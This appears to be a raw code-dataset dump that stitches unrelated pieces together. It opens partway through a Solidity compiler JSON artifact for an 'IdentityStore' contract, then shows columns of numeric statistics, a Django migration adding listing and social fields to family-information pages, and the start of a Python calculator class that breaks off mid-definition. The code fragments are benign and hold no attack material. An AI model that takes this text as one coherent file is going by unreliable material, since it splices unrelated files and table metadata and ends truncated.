"typeString": "literal_string \"There's already an account tied to this address\""
},
"value": "There's already an account tied to this address"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_d9560d649baa3d7d7d6686d1da4373048e51f0d0b91e83baff65cef3893b4f78",
"typeString": "literal_string \"There's already an account tied to this address\""
}
],
"id": 335,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 533,
"src": "4849:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 341,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4849:94:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 342,
"nodeType": "ExpressionStatement",
"src": "4849:94:0"
},
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 345,
"name": "oldUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 322,
"src": "4979:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 344,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "4961:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 346,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4961:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"argumentTypes": null,
"hexValue": "54686572652773206e6f206163636f756e74207469656420746f207468652061646472657373206f726967696e",
"id": 347,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4996:47:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_9bce1635c23a28e7d2bc063a3170a795f5e51362f4736a79230f6fc9fa52d788",
"typeString": "literal_string \"There's no account tied to the address origin\""
},
"value": "There's no account tied to the address origin"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_9bce1635c23a28e7d2bc063a3170a795f5e51362f4736a79230f6fc9fa52d788",
"typeString": "literal_string \"There's no account tied to the address origin\""
}
],
"id": 343,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 533,
"src": "4953:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 348,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4953:91:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 349,
"nodeType": "ExpressionStatement",
"src": "4953:91:0"
},
{
"expression": {
"argumentTypes": null,
"id": 355,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 350,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "5055:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 353,
"indexExpression": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 351,
"name": "existingUser",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 330,
"src": "5073:12:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"id": 352,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "tenantHash",
"nodeType": "MemberAccess",
"referencedDeclaration": 89,
"src": "5073:23:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "5055:42:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 354,
"name": "newUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 324,
"src": "5100:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "5055:59:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 356,
"nodeType": "ExpressionStatement",
"src": "5055:59:0"
},
{
"expression": {
"argumentTypes": null,
"id": 361,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 357,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "5124:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 359,
"indexExpression": {
"argumentTypes": null,
"id": 358,
"name": "newUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 324,
"src": "5145:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "5124:36:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 360,
"name": "existingUser",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 330,
"src": "5163:12:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"src": "5124:51:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 362,
"nodeType": "ExpressionStatement",
"src": "5124:51:0"
},
{
"expression": {
"argumentTypes": null,
"id": 366,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "delete",
"prefix": true,
"src": "5185:43:0",
"subExpression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 363,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "5192:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 365,
"indexExpression": {
"argumentTypes": null,
"id": 364,
"name": "oldUserAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 322,
"src": "5213:14:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "5192:36:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 367,
"nodeType": "ExpressionStatement",
"src": "5185:43:0"
}
]
},
"documentation": null,
"id": 369,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [
{
"arguments": null,
"id": 327,
"modifierName": {
"argumentTypes": null,
"id": 326,
"name": "onlyOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 33,
"src": "4738:9:0",
"typeDescriptions": {
"typeIdentifier": "t_modifier$__$",
"typeString": "modifier ()"
}
},
"nodeType": "ModifierInvocation",
"src": "4738:9:0"
}
],
"name": "updateAddress",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 325,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 322,
"name": "oldUserAddress",
"nodeType": "VariableDeclaration",
"scope": 369,
"src": "4690:22:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 321,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "4690:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 324,
"name": "newUserAddress",
"nodeType": "VariableDeclaration",
"scope": 369,
"src": "4714:22:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 323,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "4714:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "4689:48:0"
},
"payable": false,
"returnParameters": {
"id": 328,
"nodeType": "ParameterList",
"parameters": [],
"src": "4757:0:0"
},
"scope": 428,
"src": "4667:568:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "internal"
},
{
"body": {
"id": 387,
"nodeType": "Block",
"src": "5326:92:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"id": 385,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 378,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "5336:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 382,
"indexExpression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 379,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "5357:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 381,
"indexExpression": {
"argumentTypes": null,
"id": 380,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 371,
"src": "5375:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "5357:30:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "5336:52:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 383,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"memberName": "timestamp",
"nodeType": "MemberAccess",
"referencedDeclaration": 91,
"src": "5336:62:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 384,
"name": "_timestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 373,
"src": "5401:10:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "5336:75:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"id": 386,
"nodeType": "ExpressionStatement",
"src": "5336:75:0"
}
]
},
"documentation": null,
"id": 388,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [
{
"arguments": null,
"id": 376,
"modifierName": {
"argumentTypes": null,
"id": 375,
"name": "onlyOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 33,
"src": "5307:9:0",
"typeDescriptions": {
"typeIdentifier": "t_modifier$__$",
"typeString": "modifier ()"
}
},
"nodeType": "ModifierInvocation",
"src": "5307:9:0"
}
],
"name": "updateTimestamp",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 374,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 371,
"name": "_tenantHash",
"nodeType": "VariableDeclaration",
"scope": 388,
"src": "5266:19:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 370,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "5266:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 373,
"name": "_timestamp",
"nodeType": "VariableDeclaration",
"scope": 388,
"src": "5287:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 372,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "5287:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "5265:41:0"
},
"payable": false,
"returnParameters": {
"id": 377,
"nodeType": "ParameterList",
"parameters": [],
"src": "5326:0:0"
},
"scope": 428,
"src": "5241:177:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "internal"
},
{
"body": {
"id": 407,
"nodeType": "Block",
"src": "5500:135:0",
"statements": [
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"id": 400,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 395,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "5520:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 397,
"indexExpression": {
"argumentTypes": null,
"id": 396,
"name": "userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 390,
"src": "5541:11:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "5520:33:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 398,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "tenantHash",
"nodeType": "MemberAccess",
"referencedDeclaration": 89,
"src": "5520:44:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"nodeType": "BinaryOperation",
"operator": "==",
"rightExpression": {
"argumentTypes": null,
"hexValue": "30",
"id": 399,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5568:1:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "5520:49:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 404,
"nodeType": "IfStatement",
"src": "5517:91:0",
"trueBody": {
"id": 403,
"nodeType": "Block",
"src": "5571:37:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"hexValue": "66616c7365",
"id": 401,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5592:5:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
"functionReturnParameters": 394,
"id": 402,
"nodeType": "Return",
"src": "5585:12:0"
}
]
}
},
{
"expression": {
"argumentTypes": null,
"hexValue": "74727565",
"id": 405,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5624:4:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
"functionReturnParameters": 394,
"id": 406,
"nodeType": "Return",
"src": "5617:11:0"
}
]
},
"documentation": null,
"id": 408,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": true,
"modifiers": [],
"name": "userAddressExists",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 391,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 390,
"name": "userAddress",
"nodeType": "VariableDeclaration",
"scope": 408,
"src": "5451:19:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 389,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "5451:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "5450:21:0"
},
"payable": false,
"returnParameters": {
"id": 394,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 393,
"name": "",
"nodeType": "VariableDeclaration",
"scope": 408,
"src": "5494:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 392,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "5494:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "5493:6:0"
},
"scope": 428,
"src": "5424:211:0",
"stateMutability": "view",
"superFunction": null,
"visibility": "internal"
},
{
"body": {
"id": 426,
"nodeType": "Block",
"src": "5718:163:0",
"statements": [
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"id": 419,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 415,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "5781:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 417,
"indexExpression": {
"argumentTypes": null,
"id": 416,
"name": "tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 410,
"src": "5799:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "5781:29:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "BinaryOperation",
"operator": "==",
"rightExpression": {
"argumentTypes": null,
"hexValue": "30",
"id": 418,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5814:1:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "5781:34:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 423,
"nodeType": "IfStatement",
"src": "5778:76:0",
"trueBody": {
"id": 422,
"nodeType": "Block",
"src": "5817:37:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"hexValue": "66616c7365",
"id": 420,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5838:5:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
"functionReturnParameters": 414,
"id": 421,
"nodeType": "Return",
"src": "5831:12:0"
}
]
}
},
{
"expression": {
"argumentTypes": null,
"hexValue": "74727565",
"id": 424,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "5870:4:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
"functionReturnParameters": 414,
"id": 425,
"nodeType": "Return",
"src": "5863:11:0"
}
]
},
"documentation": null,
"id": 427,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": true,
"modifiers": [],
"name": "userTenantHashExists",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 411,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 410,
"name": "tenantHash",
"nodeType": "VariableDeclaration",
"scope": 427,
"src": "5671:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 409,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "5671:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "5670:20:0"
},
"payable": false,
"returnParameters": {
"id": 414,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 413,
"name": "",
"nodeType": "VariableDeclaration",
"scope": 427,
"src": "5713:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 412,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "5713:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "5712:6:0"
},
"scope": 428,
"src": "5641:240:0",
"stateMutability": "view",
"superFunction": null,
"visibility": "internal"
}
],
"scope": 429,
"src": "1687:4196:0"
}
],
"src": "0:5883:0"
},
"compiler": {
"name": "solc",
"version": "0.4.24+commit.e67f0147.Emscripten.clang"
},
"networks": {
"1": {
"events": {},
"links": {},
"address": "0xcc1f223f6b4b3fffe9cb4794653b685eb99df355",
"transactionHash": "0x516939a050c4769e51b610d911d7fbc12af5b2e2833d7bc71df072c3c39c7827"
},
"1532373672105": {
"events": {},
"links": {},
"address": "0x8972f5e0717e2b623b6856e091c53aae3ff0ba3c",
"transactionHash": "0x3143c2d9c269f9af423e3e155b0783589f87b852350a5957d2fe9b21acd092fe"
},
"1532412098212": {
"events": {},
"links": {},
"address": "0x5f01b078691e2f32a00d2b35661855628d5689d0",
"transactionHash": "0x20081770d51c42086962e9778854afbc485296de0b149c738dd8909e3a2d6b2f"
}
},
"schemaVersion": "2.0.1",
"updatedAt": "2018-07-24T06:55:18.425Z"
}
"""
| 43.559843
| 10,555
| 0.352683
| 22,058
| 488,785
| 7.715659
| 0.047058
| 0.063105
| 0.110746
| 0.090627
| 0.846691
| 0.844558
| 0.843389
| 0.841309
| 0.839851
| 0.838712
| 0
| 0.129334
| 0.536893
| 488,785
| 11,220
| 10,556
| 43.563725
| 0.62253
| 0
| 0
| 0.812478
| 0
| 0.001426
| 0.999939
| 0.121743
| 0
| 1
| 0.043442
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
0b8e247f8aa19d20ce76e822a6715c3bb94ef803
| 5,152
|
py
|
Python
|
bc/family_information/migrations/0003_change_fis_category_pages_base_model.py
|
Buckinghamshire-Digital-Service/buckinghamshire-council
|
bbbdb52b515bcdfc79a2bd9198dfa4828405370e
|
[
"BSD-3-Clause"
] | 1
|
2021-02-27T07:27:17.000Z
|
2021-02-27T07:27:17.000Z
|
bc/family_information/migrations/0003_change_fis_category_pages_base_model.py
|
Buckinghamshire-Digital-Service/buckinghamshire-council
|
bbbdb52b515bcdfc79a2bd9198dfa4828405370e
|
[
"BSD-3-Clause"
] | null | null | null |
bc/family_information/migrations/0003_change_fis_category_pages_base_model.py
|
Buckinghamshire-Digital-Service/buckinghamshire-council
|
bbbdb52b515bcdfc79a2bd9198dfa4828405370e
|
[
"BSD-3-Clause"
] | 1
|
2021-06-09T15:56:54.000Z
|
2021-06-09T15:56:54.000Z
|
# Generated by Django 2.2.13 on 2020-11-02 11:38
import django.db.models.deletion
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("images", "0003_job_employer_logo"),
("family_information", "0002_auto_20201027_0522"),
]
operations = [
migrations.AddField(
model_name="categorytypeonepage",
name="listing_image",
field=models.ForeignKey(
blank=True,
help_text="Choose the image you wish to be displayed when this page appears in listings",
null=True,
on_delete=django.db.models.deletion.SET_NULL,
related_name="+",
to="images.CustomImage",
),
),
migrations.AddField(
model_name="categorytypeonepage",
name="listing_summary",
field=models.CharField(
blank=True,
help_text="The text summary used when this page appears in listings. It's also used as the description for search engines if the 'Meta description' field above is not defined.",
max_length=255,
),
),
migrations.AddField(
model_name="categorytypeonepage",
name="listing_title",
field=models.CharField(
blank=True,
help_text="Override the page title used when this page appears in listings",
max_length=255,
),
),
migrations.AddField(
model_name="categorytypeonepage",
name="redirect_to",
field=models.URLField(
blank=True,
help_text="Entering a URL here will prevent the page from being visited, and will instead redirect the user.",
verbose_name="Redirect to external URL",
),
),
migrations.AddField(
model_name="categorytypeonepage",
name="show_live_chat_client",
field=models.BooleanField(
default=False, help_text="Show live chat support client on this page"
),
),
migrations.AddField(
model_name="categorytypeonepage",
name="social_image",
field=models.ForeignKey(
blank=True,
null=True,
on_delete=django.db.models.deletion.SET_NULL,
related_name="+",
to="images.CustomImage",
),
),
migrations.AddField(
model_name="categorytypeonepage",
name="social_text",
field=models.CharField(blank=True, max_length=255),
),
migrations.AddField(
model_name="categorytypetwopage",
name="listing_image",
field=models.ForeignKey(
blank=True,
help_text="Choose the image you wish to be displayed when this page appears in listings",
null=True,
on_delete=django.db.models.deletion.SET_NULL,
related_name="+",
to="images.CustomImage",
),
),
migrations.AddField(
model_name="categorytypetwopage",
name="listing_summary",
field=models.CharField(
blank=True,
help_text="The text summary used when this page appears in listings. It's also used as the description for search engines if the 'Meta description' field above is not defined.",
max_length=255,
),
),
migrations.AddField(
model_name="categorytypetwopage",
name="listing_title",
field=models.CharField(
blank=True,
help_text="Override the page title used when this page appears in listings",
max_length=255,
),
),
migrations.AddField(
model_name="categorytypetwopage",
name="redirect_to",
field=models.URLField(
blank=True,
help_text="Entering a URL here will prevent the page from being visited, and will instead redirect the user.",
verbose_name="Redirect to external URL",
),
),
migrations.AddField(
model_name="categorytypetwopage",
name="show_live_chat_client",
field=models.BooleanField(
default=False, help_text="Show live chat support client on this page"
),
),
migrations.AddField(
model_name="categorytypetwopage",
name="social_image",
field=models.ForeignKey(
blank=True,
null=True,
on_delete=django.db.models.deletion.SET_NULL,
related_name="+",
to="images.CustomImage",
),
),
migrations.AddField(
model_name="categorytypetwopage",
name="social_text",
field=models.CharField(blank=True, max_length=255),
),
]
| 36.8
| 193
| 0.546778
| 494
| 5,152
| 5.562753
| 0.218623
| 0.091703
| 0.117176
| 0.137555
| 0.922125
| 0.922125
| 0.908297
| 0.877729
| 0.877729
| 0.856987
| 0
| 0.016554
| 0.366848
| 5,152
| 139
| 194
| 37.064748
| 0.825874
| 0.008929
| 0
| 0.932331
| 1
| 0.015038
| 0.300745
| 0.017045
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.015038
| 0
| 0.037594
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f014795d964f0b6d49c7a5266849d0544d98ff06
| 743
|
py
|
Python
|
simple_calc/simple_calc.py
|
davinderc/simple_calc
|
075db89b6b19eeb1698c205a005c3f3d9944a673
|
[
"MIT"
] | null | null | null |
simple_calc/simple_calc.py
|
davinderc/simple_calc
|
075db89b6b19eeb1698c205a005c3f3d9944a673
|
[
"MIT"
] | null | null | null |
simple_calc/simple_calc.py
|
davinderc/simple_calc
|
075db89b6b19eeb1698c205a005c3f3d9944a673
|
[
"MIT"
] | null | null | null |
from contracts import contract
class Calc():
def __init__(self):
self.result = None
@contract(operand1='int,>=0,<10', operand2='int,>=0,<10', returns='int')
